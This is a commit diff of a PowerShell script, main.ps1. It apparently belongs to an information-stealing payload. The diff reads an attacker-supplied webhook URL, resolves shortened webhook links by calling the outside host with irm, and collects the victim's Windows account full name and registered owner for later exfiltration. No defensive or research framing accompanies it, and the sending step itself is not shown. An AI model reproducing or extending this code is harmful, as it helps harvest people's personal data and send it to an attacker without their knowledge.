Update main.ps1

This commit is contained in:
egieb
2024-01-02 21:46:44 +00:00
committed by GitHub
parent f70eb231f0
commit 45f0e0f86a

View File

@@ -1,4 +1,6 @@
$hookurl = "$dc"
# shortened URL Detection
if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url}
$userInfo = Get-WmiObject -Class Win32_UserAccount ;$fullName = $($userInfo.FullName) ;$fullName = ("$fullName").TrimStart("")
$email = (Get-ComputerInfo).WindowsRegisteredOwner